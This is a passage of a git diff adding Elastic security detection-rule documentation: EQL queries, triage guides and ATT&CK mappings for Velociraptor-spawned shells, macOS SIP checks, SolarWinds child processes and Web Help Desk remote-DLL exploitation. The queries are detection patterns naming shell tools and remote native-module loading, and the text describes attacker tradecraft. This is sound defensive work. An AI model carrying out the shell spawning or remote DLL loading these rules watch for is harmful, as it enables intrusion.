Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-shell-execution-via-velociraptor.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-shell-execution-via-velociraptor.asciidoc new file mode 100644 index 0000000000..e73a9e0abf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-shell-execution-via-velociraptor.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-suspicious-shell-execution-via-velociraptor]] +=== Suspicious Shell Execution via Velociraptor + +Detects shell executions (cmd, PowerShell, rundll32) spawned by Velociraptor. Threat actors have been observed installing Velociraptor to execute shell commands on compromised systems, blending in with legitimate system processes. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/active-exploitation-solarwinds-web-help-desk-cve-2025-26399 +* https://attack.mitre.org/techniques/T1219/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Shell Execution via Velociraptor* + + +Velociraptor is a legitimate endpoint visibility and response tool. Threat actors have been observed deploying it on compromised systems to run shell commands (cmd, PowerShell, rundll32), making their activity look like normal Velociraptor-collector behavior. + + +*Possible investigation steps* + + +- Confirm the parent process name matches a Velociraptor binary (e.g. velociraptor.exe, Velociraptor.exe) and the child is cmd.exe, powershell.exe, or rundll32.exe. +- Review the child process command line for suspicious or interactive commands (e.g. download, lateral movement, credential access) versus known Velociraptor artifact scripts (Get-LocalGroupMember, Get-Date, registry queries, Velociraptor Tools module). +- Identify how Velociraptor was installed (dropped by another process, scheduled task, service); correlate with earlier process or file events on the host. +- Check whether the Velociraptor executable path and code signature are expected (e.g. Program Files vs. temp or user writable); unauthorized installs are often from non-standard paths. +- Correlate with other alerts for the same host or user (initial access, persistence, C2) to determine if this is abuse vs. legitimate IR/DFIR use. + + +*False positive analysis* + + +- Legitimate Velociraptor artifacts that run Get-LocalGroupMember, Get-Date, registry Run key checks, or Velociraptor Tools PowerShell module are excluded by the rule; remaining FPs may be custom artifacts. Allowlist by command-line pattern or host if you use Velociraptor for authorized IR and see known-good artifacts. + + +*Response and remediation* + + +- If abuse is confirmed: isolate the host, terminate the Velociraptor and child shell processes, and remove the Velociraptor installation (binary, service, config). +- Determine how Velociraptor was deployed and close the initial access vector; rotate credentials for affected accounts. +- If the deployment was authorized (IR/DFIR), document and tune the rule or add an exception to reduce noise. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.parent.name : "velociraptor.exe" and + process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBMAG8AYwBhAGwARwByAG8AdQBwAE0AZQBtAGIAZQBy*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBEAGEAdABl*" and process.command_line : "*-Format*") and + not (process.name : "cmd.exe" and process.command_line : "*start*127.0.0.1:8889*") and + not (process.name : "powershell.exe" and process.command_line : "*RwBlAHQALQBJAHQAZQBt*" and process.command_line : "*UgBlAGcAaQBzAHQAcgB5*" and process.command_line : "*UgB1AG4A*") and + not (process.name : "powershell.exe" and + process.args : ("RwBlAHQALQ*", "UgBlAG0AbwB2AGUALQBJAHQAZQBtACA*", "C:\\Program Files\\Velociraptor\\thor.db", + "import-module \"C:\\Program Files\\Velociraptor\\Tools\\*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-sip-check-by-macos-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-sip-check-by-macos-application.asciidoc new file mode 100644 index 0000000000..d408a8d844 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-sip-check-by-macos-application.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-suspicious-sip-check-by-macos-application]] +=== Suspicious SIP Check by macOS Application + +Detects the unusual use of csrutil by a macOS application to check System Integrity Protection (SIP) status. While not malicious in itself, this activity is highly indicative of malware verifying it is not running in a virtual machine or protected environment prior to executing its payload. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious SIP Check by macOS Application* + + +This rule detects a macOS application bundle launching `csrutil status` and explicitly parsing for “enabled,” an uncommon behavior that often signals preflight environment checks. Attackers use this to confirm System Integrity Protection constraints before deciding whether to attempt persistence, injection, or privilege escalation, or to abort execution to avoid analysis. A common pattern is a trojanized app from a mounted disk image performing the SIP check immediately after first launch, then conditionally unpacking and running a secondary payload. + + +*Possible investigation steps* + + +- Identify the initiating application bundle and validate its provenance by reviewing its code signature, notarization status, Team ID, and download origin (e.g., Gatekeeper quarantine attributes and DMG mount source). +- Build a short timeline around the SIP check to see what executed next from the same parent chain (new processes, scripts, installers, or command interpreters) and whether execution diverged after reading “enabled.” +- Inspect the app’s bundle contents and related file activity for dropped binaries, launch agents/daemons, login items, or modified plist files that indicate persistence or staged payload execution. +- Look for follow-on discovery and defense-evasion behavior on the host (e.g., VM/sandbox checks, system profiling, security tool enumeration, permission prompts abuse) that would support a malware preflight workflow. +- If suspicious, isolate the host and collect the app bundle, associated DMG, and execution artifacts for detonation and reverse engineering, then hunt for the same app hash/Team ID across the fleet. + + +*False positive analysis* + + +- A legitimate enterprise-managed macOS application performing a preflight compatibility or supportability check may invoke `csrutil status` and look for “enabled” to decide whether to proceed with installing drivers, configuring system settings, or enabling features that require SIP-related constraints awareness. +- A user-initiated security/compliance workflow from a GUI app (e.g., a system configuration, diagnostic, or remediation utility distributed as an `.app` from `/Applications` or a mounted volume) may run `csrutil status` and parse for “enabled” to display a health report or to gate remediation instructions without any malicious follow-on activity. + + +*Response and remediation* + + +- Isolate the affected macOS host from the network and prevent further execution by quitting the initiating `.app` and blocking its bundle identifier/hash via MDM/EDR policy. +- Acquire and preserve artifacts for analysis, including the full `.app` bundle, the originating DMG/ZIP (if launched from `/Volumes`), Gatekeeper quarantine metadata, and recent install logs to trace the download source and execution chain. +- Eradicate by removing the suspicious application and any follow-on components it created (new LaunchAgents/LaunchDaemons, Login Items, cron entries, and dropped executables in user and system Library paths), then terminate any child processes spawned after the SIP check. +- Recover by reinstalling trusted software from known-good sources, rotating credentials used on the host since the first execution, and monitoring for re-creation of persistence files or repeated `csrutil status` checks from application bundles. +- Escalate to incident response if the app is unsigned/notarization-failed, originates from a mounted volume or user Downloads, or if post-check activity includes attempts to modify security settings, write to persistence locations, or launch interpreters like `bash`, `zsh`, `python`, or `osascript`. +- Harden by enforcing only notarized/signed app execution (Gatekeeper/MDM restrictions), blocking untrusted apps from removable/mounted volumes, and deploying detections for app-bundled execution of `csrutil` and subsequent persistence creation. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.command_line like "*csrutil*status*" and + process.command_line like "*enabled*" and + (process.parent.executable like "/*.app/*" or + process.parent.executable like "/Applications/*.app/*" or + process.parent.executable like "/Volumes/*.app/*") and + not process.parent.executable == "/Library/Application Support/Mosyle/MosyleMDM.app/Contents/MacOS/MosyleMDM" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-child-process.asciidoc new file mode 100644 index 0000000000..fb6a4a64ac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-child-process.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-suspicious-solarwinds-child-process]] +=== Suspicious SolarWinds Child Process + +A suspicious SolarWinds child process was detected, which may indicate an attempt to execute malicious programs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html +* https://github.com/mandiant/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SUNBURST%20SUSPICIOUS%20CHILD%20PROCESSES%20(METHODOLOGY).ioc + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious SolarWinds Child Process* + + +SolarWinds is a widely used IT management software that operates critical network and system monitoring functions. Adversaries may exploit its trusted processes to execute unauthorized programs, leveraging its elevated privileges to bypass security controls. The detection rule identifies unusual child processes spawned by SolarWinds' core services, excluding known legitimate operations, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the details of the triggered alert to identify the specific child process name and executable path that caused the alert. +- Check the parent process details, specifically SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe, to confirm its legitimacy and ensure it is running from the expected directory. +- Investigate the child process's code signature to determine if it is trusted or if there are any anomalies in the signature that could indicate tampering. +- Analyze the historical activity of the suspicious child process on the host to identify any patterns or previous instances of execution that could provide context. +- Correlate the suspicious process activity with other security events or logs from the same host to identify any related malicious behavior or indicators of compromise. +- Consult threat intelligence sources to determine if the suspicious process or executable path is associated with known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate SolarWinds updates or patches may trigger the rule. Ensure that the process code signature is verified as trusted and matches known update signatures. +- Custom scripts or tools integrated with SolarWinds for automation purposes might be flagged. Review these processes and add them to the exclusion list if they are verified as safe and necessary for operations. +- Third-party plugins or extensions that interact with SolarWinds could be misidentified. Validate these plugins and consider excluding them if they are from a trusted source and essential for functionality. +- Scheduled tasks or maintenance activities that involve SolarWinds processes may appear suspicious. Confirm these tasks are part of regular operations and exclude them if they are consistent with expected behavior. +- Temporary diagnostic or troubleshooting tools used by IT staff might be detected. Ensure these tools are authorized and add them to the exclusion list if they are frequently used and pose no threat. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious child processes identified that are not part of the known legitimate operations list, ensuring that no malicious programs continue to execute. +- Conduct a thorough review of the affected system's recent activity logs to identify any additional indicators of compromise or unauthorized changes. +- Restore the affected system from a known good backup to ensure that any potential malware or unauthorized changes are removed. +- Update all SolarWinds software and related components to the latest versions to patch any known vulnerabilities that could be exploited. +- Implement enhanced monitoring on the affected system and similar environments to detect any recurrence of suspicious activity, focusing on unusual child processes spawned by SolarWinds services. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if broader organizational impacts need to be addressed. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name: ("SolarWinds.BusinessLayerHost.exe", "SolarWinds.BusinessLayerHostx64.exe") and + not ( + process.name : ( + "APMServiceControl*.exe", + "ExportToPDFCmd*.Exe", + "SolarWinds.Credentials.Orion.WebApi*.exe", + "SolarWinds.Orion.Topology.Calculator*.exe", + "Database-Maint.exe", + "SolarWinds.Orion.ApiPoller.Service.exe", + "WerFault.exe", + "WerMgr.exe", + "SolarWinds.BusinessLayerHost.exe", + "SolarWinds.BusinessLayerHostx64.exe", + "SolarWinds.Topology.Calculator.exe", + "SolarWinds.Topology.Calculatorx64.exe", + "SolarWinds.APM.RealTimeProcessPoller.exe") and + process.code_signature.trusted == true + ) and + not process.executable : ("?:\\Windows\\SysWOW64\\ARP.EXE", "?:\\Windows\\SysWOW64\\lodctr.exe", "?:\\Windows\\SysWOW64\\unlodctr.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc new file mode 100644 index 0000000000..070cd96a0d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-34-suspicious-solarwinds-web-help-desk-java-module-load-or-child-process]] +=== Suspicious SolarWinds Web Help Desk Java Module Load or Child Process + +Identifies the SolarWinds Web Help Desk Java process loading an untrusted or remote native module (DLL) or spawning a suspicious child process such as cmd, PowerShell, or rundll32. This behavior is uncommon for the Web Help Desk server and may indicate successful exploitation of deserialization vulnerabilities (CVE-2025-40536, CVE-2025-40551), which allow attackers to load malicious SQLite extensions and achieve remote code execution. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/ +* https://github.com/rapid7/metasploit-framework/pull/20917 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2025-40536 +* Vuln: CVE-2025-40551 + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious SolarWinds Web Help Desk Java Module Load or Child Process* + + + +*Possible investigation steps* + + +- Which path fired, and what alert-local evidence defines it? + - Why: The single-event branch decides whether DLL fields or child-process fields carry the decisive evidence. + - Focus: `event.category`, Java path in `process.executable` or `process.parent.executable`, `dll.path`, and child `process.command_line`. + - Hint: record `process.entity_id` for library alerts and `process.parent.entity_id` for child-process alerts before later pivots. + - Implication: Escalate quickly for Web Help Desk Java loading remote or untrusted native code, or spawning "cmd.exe", "powershell.exe", or "rundll32.exe" with payload behavior. Lower concern only when the exact branch maps to a recognized local extension, authorized validation, or vendor support action and process or DLL evidence stays consistent. + +- Does the Java-side identity match the expected Web Help Desk service instance? + - Focus: Java path from step 1 and Java command line: `process.command_line` for library alerts or `process.parent.command_line` for child-process alerts. + - Implication: Escalate when the Java path falls outside the WebHelpDesk install tree or the service command line is abnormal for the deployed server. Identity lowers suspicion only when exact Java path and service context match the installed server; it does not clear a remote DLL load or shell child. + +- For the DLL-load path, does the module look like a remote SQLite-extension payload or unsupported native component? + - Why: Malicious SQLite-extension style native loading makes DLL path and trust state the strongest branch evidence. + - Focus: `dll.path`, `dll.hash.sha256`, `dll.code_signature.exists`, `dll.code_signature.trusted`, and `dll.code_signature.subject_name`. + - Implication: Escalate when `dll.path` shows "\Device\Mup\", a UNC-style share, temp or unrelated writable path, unsigned or untrusted module, or signer unrelated to Web Help Desk or its controlled extension set. Lower concern only when the module is local to the Web Help Desk or JDBC layout and has a recognized hash or signer. + +- For the child-process path, does the Java-spawned child show post-exploitation intent? + - Focus: `process.name`, `process.command_line`, and `process.parent.command_line`. + - Implication: Escalate when the command line decodes or stages payloads, loads DLLs, launches scripts, performs discovery, or changes persistence. Lower concern only for exact recognized validation or vendor-support command on this server with no contradictory DLL evidence. + +- Did the same Web Help Desk Java instance produce more DLL loads or suspicious children around the alert? + - Focus: process and library events scoped by `host.id` plus Java-side `process.entity_id` or `process.parent.entity_id`; review `process.command_line`, `dll.path`, and `dll.hash.sha256`. !{investigate{"description":"","label":"Process and DLL activity tied to the Web Help Desk Java instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: Escalate when the same Java instance loads multiple remote or untrusted DLLs, starts multiple shell or loader children, or shows child execution after a suspicious DLL load. No surrounding process or library events narrows scope, but does not clear the original alert. + +- If local evidence remains suspicious or unresolved, are there related exploit or post-exploitation alerts on this server? + - Focus: related alerts on `host.id`, especially Web Help Desk exploitation, suspicious Java children, DLL loads, persistence, or credential access. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: Expand scope when related alerts align with the same Java process, DLL hash, or child command pattern. Keep the case local when related-alert review is clean, but do not use alert isolation alone to close. + +- Escalate on remote or untrusted DLL loading, malicious child execution, or same-Java corroboration; close only when branch evidence tightly matches a recognized local extension, authorized validation, or vendor support action on this host with no contradictory process or DLL evidence; if visibility or authorization is incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Local native extension, JDBC, or vendor-support testing can explain the DLL path only when the module stays local to the Web Help Desk or controlled plugin layout; `dll.hash.sha256`, `dll.code_signature.subject_name`, and `dll.code_signature.trusted` match the expected component; Java identity matches the installed server; and no Java-spawned shell or loader appears. Without support or change records, require telemetry-only alignment across `host.id`, Java `process.executable` or `process.parent.executable`, `dll.path`, and `dll.hash.sha256`; otherwise treat as unresolved. +- Java-spawned "cmd.exe", "powershell.exe", or "rundll32.exe" is a Web Help Desk operational anti-pattern. Close only for authorized validation or vendor support where `process.name`, `process.command_line`, `process.parent.executable`, and `host.id` match that exact activity and no remote or untrusted DLL evidence appears. Without exact support or validation context, treat the branch as suspicious. +- Before creating an exception, validate stable benign behavior for the exact workflow and host. For DLL loads, anchor on Java identity, `dll.path`, `dll.hash.sha256`, `dll.code_signature.subject_name`, and `host.id`; for child processes, anchor on Java parent identity, exact `process.command_line`, and `host.id`. Avoid exceptions on "java.exe", the WebHelpDesk path prefix, a DLL directory prefix, or the server alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the Java identity, DLL hash/path or child command line, `host.id`, and support, validation, or extension evidence that proved the workflow. Create an exception only from the narrow branch-specific anchors that proved that workflow. +- If suspicious but unconfirmed, preserve the alert export, process tree, Java and child command lines, loaded DLL file, DLL hash/signature, and any "\Device\Mup\" share path before containment. Apply reversible containment first, such as restricting Web Help Desk exposure or blocking the observed remote share path, and escalate to endpoint isolation only when DLL or child-process evidence suggests active payload execution. +- If confirmed malicious, preserve process, DLL, and case artifacts before destructive action. Isolate the endpoint when the Java process is executing payloads or reaching remote native-code staging, block the malicious share path or DLL hash, collect the loaded DLL and relevant process evidence before termination, then remove only the payloads, persistence items, and service changes identified during the investigation. +- Remediate the entry vector by upgrading or patching Web Help Desk to the vendor-fixed release, confirming the exposed service is no longer vulnerable, and reviewing whether public access, outbound SMB from the server, or native-extension/plugin controls need tighter restrictions. +- Post-incident hardening: retain the process and library telemetry that proved the case, document remote SQLite-extension loading or Java-spawned shell activity for future triage, and record any authorized validation or support exception with its exact branch-specific anchors. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + (event.category == "library" and + process.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe") and + (dll.path : "\\Device\\Mup\\*" or dll.code_signature.trusted == false or ?dll.code_signature.exists == false)) or + + (event.category == "process" and process.name : ("cmd.exe", "powershell.exe", "rundll32.exe") and + process.parent.executable : ("C:\\Program Files\\WebHelpDesk\\*\\java*.exe", "C:\\Program Files (x86)\\WebHelpDesk\\*\\java*.exe")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startup-shell-folder-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startup-shell-folder-modification.asciidoc new file mode 100644 index 0000000000..76e737b8d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-startup-shell-folder-modification.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-suspicious-startup-shell-folder-modification]] +=== Suspicious Startup Shell Folder Modification + +Identifies suspicious startup shell folder modifications to change the default Startup directory in order to bypass detections monitoring file creation in the Windows Startup folder. + +*Rule type*: eql + 